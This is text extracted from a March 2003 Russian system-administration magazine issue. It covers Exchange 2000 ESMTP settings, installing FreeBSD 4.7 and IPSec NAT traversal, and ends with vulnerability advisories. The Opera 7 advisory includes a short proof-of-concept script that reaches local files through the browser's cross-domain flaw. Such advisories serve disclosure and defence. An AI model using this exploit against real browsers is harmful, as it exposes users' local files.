Примите к сведению, что CN=1 – первый или задан-ный по умолчанию SMTP Virtual Server, CN=SERVER – имяExchange-cервера, CN=Organization – имя организации,DC=domain – имя Active Directory или DNS-домена.

Обратите внимание, что вышеупомянутое значениеметабазы соответствует metabase ID number 36998. Эта

информация может быть полезна, если вы используетепрограмму MetaEdit. В таблице отображены шестнадца-теричные значения команд.

По умолчанию это значение равно 7697601(0x7574C1H). Когда вы вычтите соответствующее деся-тичное значение команды из этого числа, вы можете вклю-чить или выключить различные ESMTP-команды. Напри-мер, если вы хотите отключить поддержку 8bitmime, выдолжны присвоить переменной SmtpInboundCommand-SupportOptions значение ‘7697601-4194304‘= 3503297-(0x3574C1H). Чтобы отключить все ESMTP-команды, пе-речисленные в таблице, значение должно быть 352257(0x56001). В более ранних версиях Exchange-сервераэто значение можно было изменить, используя инстру-менты типа CSCRIPT с Adsutil.vbs или MetaEdit. Однаков Exchange 2000 Server значениям в метабазе подчине-но значением в Active Directory. Процесс «MicrosoftExchange Metabase Update» (перечисленный какMSExchangeMU в журнале регистрации приложений) за-пускается каждые 15 минут и сравнивает значения вметабазе со значениями в Active Directory. Если дан-ные отличаются, то значение в метабазе перезаписы-вается значением в Active Directory. Таким образом,чтобы эти изменения вступили в силу, вы должны из-менить значение msExchSmtpInboundCommandSupport-Options в Active Directory, используя или LDP илиADSIEdit.

Чтобы изменить это значение, используя ADSIEdit,выполните следующие шаги:� Откройте ADSIEdit и подключитесь к контроллеру до-

мена.� Откройте Configuration Container.� Перейдите в следующее место: Configuration/Services/

Microsoft Exchange/ <Your Organization>/ AdministrativeGroups/ <Your Administrative Group>/Servers/ <YourExchange Server>/Protocols/SMTP/ <Your Virtual ServerNumber>.

� Щелкните правой кнопкой мыши по виртуальномуобъекту сервера и затем нажмите Properties.

� Для Select a property to view: выберите msExchSmtp-InboundCommandSupportOptions.

� В поле Edit Attribute: введите значение, которое вы хо-тите установить.

� Щелкните Set, Apply и затем OK.

Выйдите из ADSIEdit. Может пройти некоторое вре-мя, прежде чем изменения вступят в силу, потому чтотребуется репликация Active Directory, прежде чемExchange-сервер увидит измененное нами значение.Даже перезагрузка Internet Information Server (IIS) не по-может более быстрому изменению информации. Обра-тите внимание: ADSIEDIT.exe – административный ин-струмент, который поставляется с Windows 2000 SupportTools, доступный на инсталляционном диске Windows2000 в \Support\Tools каталоге. Обратите внимание:если вы отключаете ESMTP-команды на Exchange 2000сервере, это может затруднить подключение к другимExchange 2000 серверам. Изменения могут затронутьнормальный почтовый поток между серверами.

Page 14: 004 Системный Администратор 03 2003

СЕРГЕЙ ЯРЕМЧУК

УСТАНОВКАFREEBSD

Page 15: 004 Системный Администратор 03 2003

13№3(4), март 2003

администрирование

Сейчас в качестве системы для ком-пьютера, используемого в качествесервера, наиболее популярными явля-ются Windows, Linux и различные ва-рианты BSD, в особенности FreeBSD.Хотя на этом рынке и «засветилась»MacOS в своей ягуаровой шкуре иразличные варианты коммерческихUnix, но их доля существенно малапо сравнению с ведущей троицей.Если бы у меня спросили, какую ОСиз этой троицы я бы установил в ка-честве сервера, я бы не задумыва-ясь ответил: FreeBSD. Почему? Ста-бильность серверов под управлени-ем этой системы уже давно ни у когоне вызывает сомнений. Одним из по-казателей надежности работы серве-ра является uptime – время непре-рывной бесперебойной работы. Таквот, средний uptime системы под уп-равлением Windows приблизительно20 дней, Linux – 85 дней, а системы,основанные на BSD, превосходят иэтот показатель (подробности наhttp://uptime.netcraft.com/). Первыепятьдесят серверов в списке возглав-ляют различные варианты BSD, у пос-леднего в этом списке среднее времянепрерывной работы равнялось 780дням. Только в этом году количествосерверов под управлением Linux пре-высило таковых под управлениемFreeBSD, да и то с символическим от-рывом в 1%, но это уже скорее резуль-

тат хорошей маркетинговой политикитаких компаний, как AltLinux и ASPLinux,что и говорить, Linux уже стал хорошимпродуктом, за который пользователихотят отдавать свои кровные. К тому жепо сообщениям институтов, занимаю-щихся безопасностью, количество дырв процентном соотношении: Windows –44%, Linux – 22%, FreeBSD – 9%. С пер-вой, я думаю, все и так ясно. Вторая,по моему мнению, пострадала именноиз-за своей популярности, практичес-ки все проблемы замечены за после-дний год. Если раньше релизы дистри-бутивов выходили приблизительно двараза в год, то в 2002 году все ведущиепроизводители Linux буквально засыпа-ли нас ими, при этом в релизы включа-лись новейшие версии ПО, не всегдадостаточно протестированные. К томуже Linux старались максимально при-близить к рядовому пользователю, ко-торому ужимки в правах Unix-подоб-ных систем не всегда нравятся, что вданном случае не должно сказаться по-ложительно на безопасности. Не поду-майте, что я против этой замечатель-ной системы, дома я пользуюсь толькоею, но факты есть факты.

Чтобы работать в системе, необ-ходимо первоначально ее устано-вить. Описанием чего, собственно го-воря, и займемся в этой статье. Самапо себе установка ненамного слож-нее, чем таковая в Linux. Но в неко-

торых вопросах она коренным обра-зом отличается, да и предназначен-ная для этого штатная программаsysinstall отличается от инсталлято-ров Red Hat, поэтому для пользова-теля Linux будет несколько непри-вычна. Перед началом установки же-лательно иметь представление об ис-пользуемом оборудовании. На боль-шинство компьютеров, используе-мых в сфере малого и среднего биз-неса, которые, как правило, скомпа-нованы из самых распространенныхустройств, FreеBSD установится безпроблем. Но если у вас в составекомпьютера имеется что-то супер-современное, желательно предвари-тельно свериться со списком на http://www.freebsd.org.ru/hardware/.

В дальнейшем будем для краткос-ти предполагать, что установка про-изводится с загрузочного CD-ROM’a,остальные отнесем к исключитель-ным случаям. Этапов установки я бывыделил четыре:� подготовка жесткого диска;� выбор пакетов;� собственно инсталляция;� послеинсталляционное конфигу-

рирование системы.

Причем всегда можно будет вер-нуться к любому этапу, а конфигури-рование вообще провести отдельно. Ус-танавливать будем версию 4.7 – дос-

Рис. 1

Page 16: 004 Системный Администратор 03 2003

14

администрирование

тупный последний релиз на момент на-писания статьи. И хотя уже доступенпредрелиз версии 5.0, особых отличийв программе установки там не встре-тите. Итак, вставляем диск и перезапус-каем машину.

После загрузки происходит тести-рование имеющегося оборудования,по окончании которого появляетсяпредложение сконфигурировать ядро.Здесь возможны три варианта:� пропустить конфигурацию (по

умолчанию);� конфигурация в визуальном режи-

ме;� конфигурация ядра для экспертов.

В большинстве случаев достаточ-но выбрать первый пункт, но если выточно знаете, какое оборудование увас установлено, то, выбрав второй,можно отключить ненужное. Послеокончания загрузки появляется глав-ное меню программы sysinstall (рис.1).

Пользоваться мышью, работая сsysinstall, нельзя, для навигации и вы-бора здесь используется исключитель-но клавиатура. Стрелками вверх/внизосуществляется переход к предыдуще-му/следующему пункту меню, влево/вправо переключают между варианта-ми выбора внизу экрана, например порисунку «Select» и «Exit», для навига-

ции может также использоваться кла-виша табуляции. Клавиша пробела ис-пользуется для выбора пункта, где этонеобходимо. Кроме того, большуючасть опций можно выбрать посред-ством выделенных букв. Для получениядополнительной информации выбери-те пункт «Usage». К собственно инстал-ляции относятся первые три пункта (несчитая Usage), а именно: Standart –отмечен как рекомендуемый; Express –для нетерпеливых: автоматическая раз-бивка и минимальный (базовый) наборутилит, и не обошлось без Custom –выборочной инсталляции. Я лично дажепри установке «всенародной» системы

Рис. 2

Рис. 3

Page 17: 004 Системный Администратор 03 2003

15№3(4), март 2003

администрирование

всегда предпочитаю выборочный вари-ант установки, ведь только при выбореданного пункта можно полностью конт-ролировать все действия. Естественно,обладая некоторыми знаниями. Итак,решено, жмем на «Custom», после чегопоявляется подменю, соответствующеешести этапам инсталляции (рис.2).

В пункте меню «Options» (рис.3) напервоначальном этапе можно ничегоне трогать, потом всегда можно будетпереопределить значения после уста-новки, воспользовавшись этим же пун-ктом, интерес пока представляют оп-ции Editor, Browser package и BrowserExec. Сразу хочу отметить: не выби-райте здесь приложения, работающиепод X-Windows, иначе потом возникнутсложности при редактировании конфи-

гурационных файлов и просмотре до-кументации. Из редакторов в дистри-бутиве доступны: ee (по-умолчанию),vi (выучить хотя бы пару команд дляработы с ним просто необходимо) илиpico, emacs, только не забудьте затемустановить его при выборе пакетов.Веб-браузер links, умеющий работатьс таблицами и понимающий фреймы,советую оставить (в более ранних вер-сиях по умолчанию устанавливался lyx,который желательно изменить на вы-шеназванный).

Следующий этап уже более ответ-ственный. В пункте Partition создаютсядисковые разделы. Вот здесь прячетсясамое основное отличие от Linux. Ипрежде всего это отличие касается тер-минологии. Первичные дисковые раз-

делы, которых, к слову, не может бытьна диске больше четырех (теоретичес-ки, кстати, это возможно, но вряд ликто-то осмелится нарушить), в терми-нологии FreеBSD именуются слайсами«slices», а вот разделами «partition» ок-рестили логические разделы, которыесоздаются непосредственно в слайсах.К тому же разделы могут быть созда-ны внутри всех имеющихся слайсов,здесь, в отличие от Windows, котораяможет самостоятельно загружатьсятолько с первичного раздела, никакихограничений нет. Если в системе не-сколько жестких дисков, то вы увидитеменю (см. рис.4).

IDE-диски в системе обозначаютсятак: ad1 – первый «ведущий» физичес-кий диск в системе, ad2 – второй; это

Рис. 4

Рис. 5

Page 18: 004 Системный Администратор 03 2003

16

администрирование

может быть либо slave на первом кон-троллере, либо мастер на втором – взависимости от того, как они установ-лены и т. д. до ad3. Если в системе ус-тановлены дополнительные контролле-ры, в частности RAID, то нумерациядисков, подключенных к ним, начина-ется с ad4. Более того, при включениирежима RAID они начинают дополни-тельно называться и ar0-ar3, так что,возможно, вы увидите даже оба эти ва-рианта. Названия SCSI-дисков начина-ется с da, флоппи диска – fd0, а CD-ROM – acd. Дальше – больше. Каж-дый слайс имеет свой порядковый но-мер, который в обозначении предваря-ется буквой s: ad0s1, ad0s2 и т. д. А вотза разделами закреплена буква. При-чем за некоторыми не какая-нибудь, авполне определенная. Так, корневойраздел обозначается всегда буквой аи, как вы понимаете, раздел, обозна-ченный такой буквой, может быть толь-ко один. Буква b досталась разделу под-качки, с обозначает весь слайс в целом.Так вот, в этом пункте создаются имен-но слайсы и ничего более.

Выберите нужный диск и вслед за

этим вызывается редактор разделов(Partition Editor, рис.5). Если будете ис-пользовать весь диск, а на сервере этоскорее так и есть, то достаточно нажатьА «Use Entire Disk» и программа разме-стит слайс, который займет все свобод-ное пространство. Если необходимо со-здать несколько слайсов, нажмите С«Create slice», программа запросит тре-буемый объем, есть возможность вве-сти его сразу в мегабайтах, поставивбукву м за цифрами (1000 м) или сразуизменив с помощью клавиши Z едини-цы отображения (рис.6). Повторите этуже операцию для остальных жесткихдисков, присутствующих в системе. Привыходе из редактора разделов систе-ма спросит, куда установить загрузчик,выбираем значение, указанное поумолчанию, т.е. MBR (рис.7).

Теперь переходим собственно к со-зданию разделов, для чего выбираемпункт Disk Label Editor. На этом этапенеобходимо определиться с количе-ством разделов и их размером. Здесья позволю себе сделать небольшое от-ступление. Все дело в том, что во всехUnix-подобных системах нет понятия,

как диски C, D и т. д. Здесь все доступ-ные разделы монтируются в файловуюсистему, которая напоминает дерево ипользователь даже может не знать (даи не должен), на каком из разделов дис-ка находится файл, а они, к слову, спо-койно могут находиться вообще на дру-гом компьютере. Для пользователя принормальном администрировании этасистема остается прозрачной. Так вот,самый главный раздел называется кор-невым и обозначается /. Следующий не-обходимый для нормальной работы си-стемы раздел называется swap. Пред-назначен он для расширения реальнойоперативной памяти. В случае если ка-кая-то страница долгое время не ис-пользуется, FreeBSD перемещает ее нажесткий диск, т.е. в раздел swap, осво-бождая тем самым оперативную па-мять. Данный раздел желательно раз-местить в самом начале жесткого дис-ка (доступ осуществляется быстрее), аесли в системе их несколько, то равно-мерно распределить по ним. О разме-ре могу сказать следующее. Когда ценана память «кусалась», было распрост-ранено выбирать его равным двух- или

Рис. 6

Рис. 7

Page 19: 004 Системный Администратор 03 2003

17№3(4), март 2003

администрирование

трехкратным размеру имеющейся опе-ративной памяти. При применении ком-пьютера под управлением FreeBSD вкачестве рабочей станции этот вариантскорее бы сгодился. Но активное ис-пользование раздела swap на сервересразу же говорит о том, что памяти явнонедостаточно и ее просто необходимоувеличить. А при памяти, большей или

равной 256 Мб, создавать раздел swapбольшего размера вряд ли будет целе-сообразно. Так вот, можно остановить-ся и на двух вышеперечисленных раз-делах. Но, например, чтобы не повре-дить корневой раздел во время сбоя си-стемы, желательно, чтобы он находил-ся в разделе, имеющем атрибут «толь-ко для чтения», в правильно созданной

файловой системе в данный раздел за-пись осуществляется довольно редко.К тому же, если злоумышленник со-здаст файл в доступный для записираздел (/home, /tmp), занимающий всёсвободное пространство, то системапопросту перестанет работать.

Итак, необходимо создать как ми-нимум еще два раздела /usr и /var, а

Рис. 8

Рис. 9

Page 20: 004 Системный Администратор 03 2003

18

администрирование

если предстоит обслуживать большоеколичество пользователей, то жела-тельно поместить раздел /home (поумолчанию это символическая ссылкана каталог /usr/home) на отдельный раз-дел жесткого диска в целях безопасно-сти и вынести отдельно /tmp. А вот проразмеры разделов однозначно сказатьзатрудняюсь. Если FreeBSD будет ис-пользоваться как сервер печати, MAILи веб-сервер, то здесь основное местобудут занимать разделы /var и допол-нительно /home в последнем случае. Адля файл-сервера основным будет раз-дел /home, где пользователи будут раз-мещать свои файлы.

Создаются разделы аналогичнопредыдущему пункту. Нажимаем С,программа установки спросит тип со-здаваемого раздела (swap или FS) иточку монтирования, затем вводим не-обходимый размер раздела. Для инте-реса можете посмотреть, нажав клави-шу А, что программа предлагает поумолчанию (рис.8). Обратите внимание,

что все разделы, за исключением кор-невого, обозначены как UFS +S. Этопоказывает, что для данного разделавключена опция Soft Updates. Назначе-ние ее в следующем. Как известно, вLinux для обеспечения более устойчи-вой работы системы, сокращения вре-мени на перезагрузку и прочее в пос-леднее время используются журнали-руемые файловые системы. Суть их та-кова: все действия до непосредствен-ной записи на диск заносятся в журнали система после сбоя может проанали-зировать его и уже знает, где находят-ся несогласованные сектора. Но вFreeBSD не поддерживаются журна-лируемые файловые системы. Вмес-то этого используется мягкое обнов-ление – Soft Updates, непосредственновстроенное в ядро и не требующее ве-дение отдельного журнала. Можновключить данную опцию и для корне-вого каталога: аргументы, приводимыепротив, не кажутся убедительными, но,как я уже говорил, в правильно создан-

ной файловой системе в корневой раз-дел запись практически не производит-ся и необходимости в такой опции по-просту нет. После создания всех раз-делов нажмите кнопку Q для внесенияизменений и, выходя из редактора, неиспользуйте при этом опцию W, так какона предназначена для внесения изме-нения в существующие разделы.

Следующим этапом будет выборнеобходимых пакетов для установки.Для этого выбираем пункт «ChooseDistributions» (рис.9). Если нет про-блем с дисковым пространством,можно выбрать пункт «All», но для ус-тановки сервера, не требующего на-личия X-Window, можно выбрать пункт«Developer» или «Minimal»: в после-днем случае может понадобиться до-установить кое-что вручную (криптог-рафия, файлы совместимости сFreeBSD 3.x). И, конечно же, есть пункт«Custom» (рис.10), в котором можносамостоятельно выбрать необходимыепакеты. При этом осуществляется кон-

Рис. 10

Page 21: 004 Системный Администратор 03 2003

19№3(4), март 2003

администрирование

троль зависимостей. При выборе про-граммы, если в какой-либо библиоте-ке или другой программе возникает не-обходимость, то она будет отмеченабуквой D. Поэтому желательно про-смотреть все два раза, для того чтобыбыть уверенным, что установка про-

грамм пройдет без проблем. Если естьнеобходимость в установке X-Window,то, начиная с версии 4.6, в состав вхо-дит пакет XFree86 4.2.0, обеспечива-ющий работу с практически самымисовременными видеоадаптерами.

После выбора необходимых паке-

тов переходим к следующему этапу ус-тановки. Выбор источника инсталля-ции (Choose Installation Media, рис.11).Здесь необходимо указать источник, скоторого будет производиться инстал-ляция. До этого, кстати, все операциимы проделывали с виртуальной систе-

Рис. 11

Рис. 12

Page 22: 004 Системный Администратор 03 2003

20

администрирование

Рис. 13

Рис. 14

Page 23: 004 Системный Администратор 03 2003

21№3(4), март 2003

администрирование

мой, еще никаких изменений, включаяизменения файловой системы, проде-лано не было. Это последний рубеж,перед которым еще можно отказать-ся. Как мы уже договорились, устанав-ливать будем с CD-ROM, поэтому вы-бираем соответствующий пункт меню.Вот после этого действительно начи-нается создание слайсов, разбиениеих на разделы и создание на них фай-ловых систем. После чего следует соб-ственно установка выбранных компо-нентов дистрибутива.

После окончания процесса присту-паем к следующему этапу, а именно кконфигурированию свежеустановлен-ной системы. Для чего обращаемся кпункту «Configure» (рис.12). Как мож-но заметить, с некоторыми пунктамимы уже встречались – это пунктыDistributions, Packages, Fdisk и Label.Далее переходим к выбору пароля су-перпользователя – Root Password. Принеобходимости в следующем пунктеможно создать необходимые учетныезаписи пользователей, но данный ин-струмент, по-моему, удобен лишь приналичии небольшого их числа; прибольшом количестве лучше редакти-ровать файлы напрямую или написатьскрипт для этого. В пункте менюConsole необходимо установитьшрифт (Font) для вывода на экран кон-соли, в кириллической кодировке ис-пользуется IBM866. А в Keymap дляраскладки клавиатуры выбираем род-ной для Unix-систем KOI8-R (рис.13).

Настроить клавиатуру и скринсейверможно в пунктах Repeat и Saver соот-ветственно, а вот в Screenmap зада-ются карты соответствия клавиатур-ной раскладки экранным шрифтам.

Применительно к нашему случаюэто будет KOI8-К to IBM866. В назна-чении пунктов Media и Time Zone, я ду-маю, разберетесь сами. А вот в Mouseнастраивается служба консольноймыши. Сначала ее необходимо вклю-чить в соответствующем пункте –Enable, в Type выбираем ее тип (здесьв большинстве подойдет значениеAuto) и тип интерфейса в Port (PS/2 илиCOM-порт), а в Flag можно добавитьэмуляцию третьей кнопки при отсут-ствии таковой (-3) или увеличить ско-рость перемещения (-r high).

Не будем пока трогать настройкусетевых соединений в пунктеNetworking – их доводкой займемсякак-нибудь в следующий раз, так какздесь можно настроить лишь общиепараметры сетевого соединения.

В пунктах Security и Startup выби-раются уровень защищенности систе-мы и сервисы, запускаемые при стар-те. При выборе пункта TTYs вызыва-ется на редактирование файл /etc/ttys.Для русификации консоли необходи-мо заменить значение cons25 наcons25r, т.е. привести все строки к та-кому виду:

К тому же, если не планируетсяиспользование X-Window, закоммен-тируйте строку:

она вряд ли вам пригодится. А еслинаоборот, то можно сэкономить накаждом терминале приблизительнопо 500 Кб оперативной памяти, убрав(закомментировав) лишние, т.е. оста-вив один-два.

И остался последний момент: на-стройка X-Window (если конечно этонеобходимо). Причем программа sys-install позволяет произвести это не-сколькими способами (рис.14): в гра-фическом режиме, с помощью меню ив текстовом, отвечая на каверзныевопросы программы. Первоначальновыбирается мышь, чтобы ей можнобыло пользоваться в дальнейшем:здесь в большинстве случаев доста-точно выбрать Auto и устройство /dev/sysmouse. На вопросы о характерис-тиках монитора и его марке отвечайтечестно, иначе может случиться непоп-равимое. По окончанию настройки васпопросят выбрать оконный менеджер,загружаемый по умолчанию (рис.15).Теперь после выхода из программыsysinstall система перезагрузится.

В результате мы получили полно-стью работоспособную систему с не-обходимым первоначальным миниму-мом. Но впереди еще много работы.

ttyv1 "/usr/libexec/getty Pc"cons25r on secure

ttyv8 "/usr/X11R6/bin/xdm-nodaemon" xterm off secure

Рис. 15

Page 24: 004 Системный Администратор 03 2003

22

администрирование

IPSEC ЧЕРЕЗ NAT:ПРОБЛЕМЫ ИРЕШЕНИЯ

ТАТЬЯНА АНТИПОВА

Page 25: 004 Системный Администратор 03 2003

23№3(4), март 2003

администрирование

Исторически одной из проблем с раз-вертыванием Layer Two TunnelingProtocol с Internet Protocol security(L2TP/IPSec) является то, что IPSec-узлы не могут быть расположены по-зади Network Address Translator(NAT). NAT чаще всего используетсяв корпоративных сетях, чтобы выхо-дить в Интернет с единственного IP-адреса, тем самым эффективнее ис-пользуя ограниченное адресное про-странство IP-адресов. Однако NATимеет проблемы с использованиемсквозных протоколов типа IPSec.

Новая технология, известная какIPSec NAT Traversal (NAT-T), находит-ся в процессе стандартизации в IPSecWorking Group. IPSec NAT-T описан вInternet drafts под названием «UDPEncapsulation of IPSec Packets» (draft-ietf-ipsec-udp-encaps-02.txt) и «Nego-tiation of NAT-Traversal in the IKE» (draft-ietf-ipsec-nat-t-ike-02.txt). IPSec NAT-Tподдерживает различные методы пе-редачи IPSec-защищенных данных.

В процессе установления IPSec-подключения, IPSec NAT-T-узлы авто-матически определяют:� Может ли инициализированный

IPSec-узел (как правило, компь-ютер клиента) и запрашиваемыйIPSec-узел (обычно сервер), ис-пользовать IPSec NAT-T.

� Есть ли в пути между этими узла-ми NAT.

Если оба эти условия выполняют-ся, то узлы автоматически использу-ют IPSec NAT-T, чтобы посылать IPSec-защищенный трафик через NAT. Еслихотя бы один узел не поддерживаетIPSec NAT-T или в пути между узла-ми нет NAT, то выполняется обычнаястандартная IPSec-защита.

IPSec NAT-T поддерживаетсяMicrosoft L2TP/IPSec VPN Client, ко-торый доступен для бесплатной заг-рузки, позволяя компьютерам с си-стемами Windows 98, Me и NT 4.0 со-здавать L2TP/IPSec подключения.IPSec NAT-T будет включен вWindows .NET Server и поддержива-ется многими VPN-серверами.

В этой статье мы исследуем про-блемы, связанные с использовани-ем IPSec через NAT, расскажем оспособе решения проблем в IPSecNAT-T и закончим изменениями вInternet Key Exchange (IKE) согласо-

вания для Quick Mode и Main Mode.Обратите внимание!!! IPSec NAT-T

определен только для ESP-трафика.

Проблемы, связанныес использованием IPSecчерез NATНиже представлены проблемы ис-пользования IPSec через NAT:� NAT не может модифицировать

контрольные суммы верхнегоуровня.

TCP- и UDP-заголовки содержатконтрольную сумму, которая рассчи-тывается из значения IP-адреса ис-точника и адресата и номера портов.Когда NAT изменяет IP-адрес и/илиномер порта в пакете, он обычно мо-дифицирует TCP- или UDP- конт-рольную сумму. Когда же TCP- илиUDP- контрольная сумма зашифро-вана в ESP, она не может быть мо-дифицирована. Поскольку NAT из-меняет адреса или порты, то обыч-но происходят сбои проверки конт-рольной суммы в адресате.� NAT не может мультиплексировать

IPSec-потоки данных.

ESP-защищенный IPSec-трафик несодержит видимого TCP-или UDP-заголовка. ESP-заголовок располо-жен между IP-заголовком и зашиф-рованным TCP- или UDP-заголов-ком, и использует 50 IP-протокол.Из-за этого не может использовать-ся TCP- или UDP-номер порта, что-бы мультиплексировать трафик кразличным хостам в частной сети.ESP-заголовок содержит поле, на-зываемое Security Parameters Index(SPI). SPI используется вместе с IP-адресом адресата в открытом IP-за-головке и IPSec security protocol(ESP или AH) идентифицирует IPSecsecurity association (SA).

Для входящего NAT-трафика, IP-адрес адресата должен быть отобра-жен к частному IP-адресу. Для мно-жественных IPSec-узлов в частнойNAT-сети, IP-адрес адресата прибы-вающего трафика для несколькихIPSec-ESP-потоков данных – один итот же адрес. Чтобы отличать одинIPSec-ESP-поток данных от другого,IP-адрес адресата и SPI должны илибыть прослежены, или отображенык частному IP-адресу адресата и SPI.

Поскольку SPI – 32-разрядное

число, шанс использования одинако-вых значений SPI между нескольки-ми частными сетевыми клиентамикрайне низок. Проблема состоит втом, что трудно определить, какоеисходящее SPI-значение соответ-ствует прибывающему SPI-значению.

NATs не может отображать SPI,потому что ESP-трейлер содержиткод идентификации сообщения, раз-бавленный цифровым мусором(hashed message authentication code,HMAC), который проверяет целост-ность модуля данных ESP-протоко-ла (ESP protocol data unit, PDU), со-стоящего из ESP-заголовка, ESP-данных и ESP-трейлера, если SPIбудет изменен, то недействитель-ным окажется HMAC-значение.� IKE-UDP-номер порта не может

быть изменен.

Некоторые выполнения IPSec ис-пользует 500 UDP-порт как UDP-но-мер порта источника и адресата.Однако для IPSec-узла, расположен-ного позади NAT, NAT изменяет ис-ходный адрес начального IKE-Main-Mode-пакета. В зависимости от вы-полнения, IKE-трафик от другогопорта, кроме 500, будет отвергнут.� Возможны проблемы NAT – тайм-

аут отображения IKE-UDP-порта.

UDP-отображения в NAT часто уда-ляются очень быстро. ИнициаторIKE-трафика создает отображениеUDP-порта в NAT, который исполь-зуется для продолжительных на-чальных Main-Mode- и Quick-Mode-IKE-согласований. Однако если рес-пондент позже посылает IKE-сооб-щения инициатору, и не присутству-ет отображение UDP-порта, то такоесообщение будет отвергнуто.� Идентификационные IKE-данные

содержат внедренный IP-адрес.

Для Main Mode и Quick Mode согла-сований каждый IPSec-узел посыла-ет идентификационные IKE-данные,которые включают внедренный IP-адрес для посылаемого узла. По-скольку исходный адрес посылаемо-го узла был изменен NAT, внедрен-ный адрес не соответствует IP-адре-су IKE-пакета. IPSec-узел, которыйпроверяет правильность IP-адреса,отвергнет идентификационные IKE-

Page 26: 004 Системный Администратор 03 2003

24

администрирование

данные и откажется от дальнейшихIKE-согласований.

Краткий обзор NAT-Tизменений на IPSecНиже представлены изменения IPSecдля NAT-T:� Инкапсулирование UDP-пакета

для ESP.UDP-заголовок помещен между вне-шним IP-заголовком и ESP-заголов-ком, инкапсулируя ESP PDU. Те жесамые порты, которые используют-ся для IKE, используются для UDPинкапсулированного ESP-трафика.� Изменяемый формат IKE-заголовка.

IPSec NAT-T IKE-заголовок содер-жит новое поле Non-ESP Marker, ко-торое позволяет получателю разли-чать UDP-инкапсулированное ESPPDU и IKE-сообщение. IPSec NAT-Tузлы начинают использовать новыйIKE-заголовок после того, как онирешили, что присутствует промежу-точное NAT-звено.� Новый NAT-Keepalive.

UDP-сообщение, которое использу-ет те же самые порты, что и IKE-тра-фик, содержит один байт (0xFF), ис-пользуемый для обновления отобра-жения UDP-порта в NAT для IKE иUDP-инкапсулированного ESP-тра-фика к частному сетевому хосту.� Новый Vendor ID IKE.

Vendor ID IKE содержит известноезначение хеш-функции, которое ука-зывает, что узел способен выполнятьIPSec NAT-T.� Новый NAT-Discovery (NAT-D) IKE.

NAT-Discovery (NAT-D) IKE содержитзначение хеш-функции, которое вклю-чает номер порта и адрес. Узел IPSecвключает два NAT-Discovery в течениеMain-Mode-согласования – один дляадреса назначения и порта и один дляисходного адреса и порта. Получательиспользует NAT-Discovery, чтобы об-наружить, транслирован ли адрес илиномер порта, и, основываясь на изме-ненном адресе и порте, определять,какие узлы расположены позади NAT.� Новые режимы инкапсулирования

для UDP-инкапсулированного ESPтранспортирного режима и тун-нельного режима.

Эти два новых режима инкапсулиро-вания определены в течение QuickMode согласования, чтобы сообщитьIPSec-узлу, что должно использо-ваться инкапсулирование UDP-паке-та для ESP PDU.� Новый NAT-Original Address (NAT-

OA) IKE.

NAT-Original Address (NAT-OA) IKEсодержит непереведенный адресIPSec-узла. Для UDP-инкапсулиро-ванного ESP транспортного режимакаждый узел посылает NAT-OA IKEв течение Quick-Mode-согласования.Получатель хранит этот адрес в па-раметрах для SA.

Пример IKE-согласованиядля Main Mode и SAQuick Mode, используяIPSec NAT-TДобавление новых NAT-D- и NAT-OA-значений и UDP-туннельных ти-пов изменяет Main-Mode- и Quick-Mode-IKE-согласования. Следующаятаблица показывает использованиеVendor-ID и NAT-D IKE в течениеQuick-Mode-согласования для Win-dows основанного IPSec-узла, ис-пользующего Kerberos идентифика-цию. Жирным шрифтом выделеныособенности NAT-T.

Если оба узла – IPSec NAT-T, иприсутствует не менее одного NATмежду ними, они используют IPSec-NAT-T-варианты в Quick-Mode-согла-

совании. Принимая, что существуетне менее одного NAT между этимидвумя узлами, окончательные Quick-Mode-согласования показаны в следу-ющей таблице.

В конце Quick-Mode-переговоровоба IPSec-узла знают первоначаль-ный адрес друг друга, посылают помере необходимости NAT-Keepaliveпакеты, и используют UDP-инкапсу-лирование для ESP PDU.

Для получения дополнительнойинформации:� IKE Negotiation for IPSec Security

Associations;� Windows 2000 Network Address

Translator (NAT);� Windows 2000 IPSec Web site;� IP Security Protocol Working Group;� Microsoft L2TP/IPSec VPN Client.

Page 27: 004 Системный Администратор 03 2003

DoS против Posadis DNS serverPosadis DNS server – простой DNS-сервер, разработан-ный для Win32 и Linux, который поддержит администри-рование через веб-интерфейс.

Обнаруженная уязвимость позволяет удаленномупользователю аварийно завершить работу DNS-сервера.

Сообщается, что программное обеспечение должным об-разом не проверяет, содержит ли удаленное DNS-сообще-ние раздел «question». Из-за этого можно заставить Posadisчитать из NULL местоположения памяти. Удаленный атаку-ющий может послать специально сформированное DNS-сообщение, которое приведет к аварийному завершениюработы сервера. Неизвестно, может ли уязвимость исполь-зоваться для выполнения произвольного кода. Уязвимостьобнаружена в Posadis DNS Server 0.50.х – 0.50.8.

Множественные уязвимости в Opera 7.0Все браузеры с поддержкой JavaScript включают модельбезопасности, которая предотвращает доступ одного до-мена к документам другого домена.

Opera 7 включает новый подход к осуществлению меж-доменной защиты – «caller-based» модель, в отличие от«origin-based» модели, используемой в других браузерах.Уязвимость связана с тремя различными недостатками вэтой модели:� Можно обратиться и выполнить функции в другом до-

мене.� Функции выполняются с мандатами вызывающего до-

мена, а не основного домена.� Возможно отменить свойства и методы в других окнах.

Первый недостаток означает, что окно в одном доменеспособно выполнить функции в окне, которое находится вдругом домене. Этот недостаток сам по себе небольшаяугроза из-за второго недостатка, который означает, чтодаже если функция выполнена в окне жертвы, она будетвыполнена с опознавательными мандатами атакующего,и поэтому неспособна обратиться к документу жертвы.

Второй недостаток означает, что если атакующий мо-жет заставить жертву выполнять функцию, она выполнитсяс опознавательными мандатами жертвы. И из-за первогонедостатка жертва не будет иметь проблем, обращаясь кзлонамеренной функции, созданной атакующим.

Третья, и самая опасная уязвимость означает, что ата-кующий может подменить методы в окне жертвы собствен-ным кодом.

Используя комбинацию этих трех уязвимостей, атаку-ющий может выполнять практически любые действия нафайловой системе пользователя, включая просмотр лю-бых файлов, просмотр содержания директорий, чтение по-чтовых сообщений, написанных или отправленных почто-вой программой Opera – M2, и выполнять другие злона-меренные действия. Пример эксплоита:

<script language="jscript">var oWin=open("file://localhost/console.html","","");oWin.setInterval=function () { alert("Access to local resource achieved:"

+oWin.document.location.href);}</script>

Доступ к произвольным файламна системе пользователяв Microsoft Internet ExplorerУязвимость обнаружена в Microsoft Internet Explorer. Уда-ленный пользователь может создать злонамеренный код,который произведет перетаскивание произвольного HTML.

Уязвимость обнаружена в dragDrop()-методе. Соглас-но сообщению, удаленный пользователь может создатьзлонамеренный HMTL-код, который заставит пользовате-ля загрузить произвольный текст в HTML upload управле-ние. В результате удаленный пользователь может читатьпроизвольные файлы на системе пользователя. Пример:

